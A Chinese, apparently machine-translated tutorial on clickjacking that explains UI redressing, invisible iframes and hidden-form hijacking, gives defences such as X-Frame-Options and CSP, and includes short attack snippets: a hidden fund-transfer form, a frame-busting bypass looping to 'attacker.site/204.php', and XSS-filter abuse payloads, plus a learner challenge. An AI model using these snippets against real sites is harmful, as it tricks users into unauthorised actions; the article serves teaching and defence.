点击劫持


文档摘要

点击劫持 点击劫持是一种网络安全漏洞,恶意网站会诱骗用户点击他们以为的不同内容,从而在用户不知情或未同意的情况下执行意外操作。用户可能会被诱骗执行各种意外操作,例如输入密码、点击“删除我的账户”按钮、点赞帖子、删除帖子或在博客上发表评论。换句话说,正常用户在合法网站上可以执行的所有操作,都可能通过点击劫持来完成。 摘要 工具 方法论 UI伪装 隐形框架 按钮/表单劫持 执行方法 预防措施 实施X-Frame-Options头部 内容安全策略(CSP) 禁用JavaScript onBeforeUnload事件 XSS过滤器 IE8 XSS过滤器 Chrome 4.

点击劫持

点击劫持是一种网络安全漏洞,恶意网站会诱骗用户点击他们以为的不同内容,从而在用户不知情或未同意的情况下执行意外操作。用户可能会被诱骗执行各种意外操作,例如输入密码、点击“删除我的账户”按钮、点赞帖子、删除帖子或在博客上发表评论。换句话说,正常用户在合法网站上可以执行的所有操作,都可能通过点击劫持来完成。

摘要

工具

方法论

UI伪装

UI伪装是一种点击劫持技术,攻击者会在合法网站或应用程序的上方叠加一个透明的UI元素。这个透明的UI元素包含恶意内容或操作,对用户来说在视觉上是隐藏的。通过调整元素的透明度和位置,攻击者可以诱骗用户与隐藏的内容交互,而用户却误以为自己正在与可见界面交互。

  • UI伪装的工作原理:
    • 叠加透明元素:攻击者创建一个透明的HTML元素(通常是<div>),覆盖合法网站的整个可见区域。该元素通过CSS属性(如opacity: 0;)设置为透明。
    • 定位与分层:通过设置诸如position: absolute; top: 0; left: 0;之类的CSS属性,透明元素被定位以覆盖整个视口。由于它是透明的,用户看不到它。
    • 误导用户交互:攻击者在透明容器中放置欺骗性元素,例如虚假按钮、链接或表单。这些元素在被点击时会执行某些操作,但由于透明UI元素的覆盖,用户并未意识到它们的存在。
    • 用户交互:当用户与可见界面交互时,由于透明覆盖层的存在,他们不知不觉地与隐藏元素交互。这种交互可能导致意外操作或未经授权的操作。
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;"> <a href="malicious-link">Click me</a> </div>

隐形框架

隐形框架是一种点击劫持技术,攻击者使用隐藏的iframe来诱骗用户在不知情的情况下与来自另一个网站的内容交互。这些iframe通过将尺寸设置为零(height: 0; width: 0;)并移除边框(border: none;)使其不可见。这些隐形框架中的内容可能是恶意的,例如网络钓鱼表单、恶意软件下载或其他有害操作。

  • 隐形框架的工作原理:
    • 创建隐藏的iframe:攻击者在网页中插入一个<iframe>元素,并将其尺寸设置为零,同时移除边框,使用户无法看到它。

      <iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
    • 加载恶意内容:iframe的src属性指向由攻击者控制的恶意网站或资源。由于iframe是隐形的,这些内容会在用户不知情的情况下悄然加载。

    • 用户交互:攻击者在隐形iframe之上叠加诱人的元素,让用户误以为自己正在与可见界面交互。例如,攻击者可能会在隐形iframe上放置一个透明按钮。当用户点击该按钮时,实际上是在点击iframe中的隐藏内容。

    • 意外操作:由于用户不知道隐形iframe的存在,他们的交互可能导致意外操作,例如提交表单、点击恶意链接,甚至在未经同意的情况下进行金融交易。

按钮/表单劫持

按钮/表单劫持是一种点击劫持技术,攻击者诱骗用户与隐形或隐藏的按钮/表单交互,从而在合法网站上导致意外操作。通过在可见按钮或表单上叠加欺骗性元素,攻击者可以操纵用户的交互,在用户不知情的情况下执行恶意操作。

  • 按钮/表单劫持的工作原理:

    • 可见界面:攻击者向用户展示一个可见的按钮或表单,鼓励用户点击或与其交互。
    <button onclick="submitForm()">Click me</button>
    • 隐形覆盖层:攻击者在这个可见按钮或表单上叠加一个隐形或透明的元素,其中包含恶意操作,例如提交隐藏表单。
    <form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> <!-- Hidden form fields --> </form>
    • 欺骗性交互:当用户点击可见按钮时,由于隐形覆盖层的存在,他们不知不觉地与隐藏表单交互。表单被提交,可能导致未经授权的操作或数据泄露。
    <button onclick="submitForm()">Click me</button> <form action="legitimate-site" method="POST" id="hidden-form"> <!-- Hidden form fields --> </form> <script> function submitForm() { document.getElementById('hidden-form').submit(); } </script>

其他执行方法

  • 创建隐藏表单:攻击者创建一个包含恶意输入字段的隐藏表单,针对受害者网站上的某个易受攻击的操作。这个表单对用户来说是不可见的。
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> <input type="hidden" name="username" value="attacker"> <input type="hidden" name="action" value="transfer-funds"> </form>
  • 叠加可见元素:攻击者在其恶意页面上叠加一个可见元素(按钮或表单),鼓励用户与其交互。当用户点击可见元素时,他们不知不觉地触发了隐藏表单的提交。
function submitForm() { document.getElementById('hidden-form').submit(); }

预防措施

实施X-Frame-Options头部

通过使用DENY或SAMEORIGIN指令实施X-Frame-Options头部,防止您的网站在未经您同意的情况下被嵌入到iframe中。

Header always append X-Frame-Options SAMEORIGIN

内容安全策略(CSP)

使用CSP来控制您的网站上可加载内容的来源,包括脚本、样式和框架。定义强大的CSP策略,以防止未经授权的框架嵌入和外部资源加载。HTML meta标签示例:

<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">

禁用JavaScript

  • 由于此类客户端防护依赖于JavaScript框架破坏代码,如果受害者禁用了JavaScript,或者攻击者能够禁用JavaScript代码,那么网页将不会有任何针对点击劫持的保护机制。

  • 有三种可用于框架的禁用技术:

    • 带“restricted”属性的框架(Internet Explorer):从IE6开始,框架可以设置“security”属性,如果该属性设置为“restricted”,则确保框架中的JavaScript代码、ActiveX控件以及重定向到其他站点的功能均不起作用。
    <iframe src="http://target site" security="restricted"></iframe>
    • sandbox属性:HTML5引入了一个名为“sandbox”的新属性。它对加载到iframe中的内容施加了一系列限制。目前,此属性仅与Chrome和Safari兼容。
    <iframe src="http://target site" sandbox></iframe>

onBeforeUnload事件

  • onBeforeUnload事件可用于规避框架破坏代码。当框架破坏代码试图通过在整个网页而非仅在iframe中加载URL来销毁iframe时,就会调用此事件。处理函数会返回一个字符串,提示用户确认是否要离开页面。当这个字符串显示给用户时,用户很可能会取消导航,从而挫败目标的框架破坏尝试。

  • 攻击者可以通过在顶级页面上注册一个unload事件来利用此攻击,代码示例如下:

<h1>www.fictitious.site</h1> <script> window.onbeforeunload = function() { return " Do you want to leave fictitious.site?"; } </script> <iframe src="http://target site">
  • 上述技术需要用户交互,但无需提示用户即可达到相同的效果。为此,攻击者必须在onBeforeUnload事件处理程序中自动取消传入的导航请求,方法是反复(例如每毫秒)向一个响应"HTTP/1.1 204 No Content"标头的网页发送导航请求。

204页面:

<?php header("HTTP/1.1 204 No Content"); ?>

攻击者页面:

<script> var prevent_bust = 0; window.onbeforeunload = function() { prevent_bust++; }; setInterval( function() { if (prevent_bust > 0) { prevent_bust -= 2; window.top.location = "http://attacker.site/204.php"; } }, 1); </script> <iframe src="http://target site">

XSS过滤器

IE8 XSS过滤器

该过滤器可以查看通过Web浏览器的所有请求和响应参数,并将其与一组正则表达式进行比较,以查找反射型XSS攻击的迹象。当过滤器识别出可能的XSS攻击时,它会禁用页面中的所有内联脚本,包括框架破坏脚本(外部脚本也可以这样做)。因此,攻击者可以通过在请求参数中插入框架破坏脚本的开头来诱导假阳性。

<script> if ( top != self ) { top.location=self.location; } </script>

攻击者视图:

<iframe src=”http://target site/?param=<script>if”>

Chrome 4.0 XSSAuditor过滤器

与IE8 XSS过滤器相比,它的行为略有不同。事实上,借助此过滤器,攻击者可以通过在请求参数中传递脚本代码来禁用“script”。这使得框架页面可以专门针对包含框架破坏代码的单个代码片段,而保留其他代码不变。

攻击者视图:

<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>

挑战

检查以下代码:

<div style="position: absolute; opacity: 0;"> <iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe> </div> <button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button>

确定此代码片段中的点击劫持漏洞。找出隐藏的iframe是如何在用户点击按钮时被用来利用用户的操作,从而将用户引导至恶意网站。

实验

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U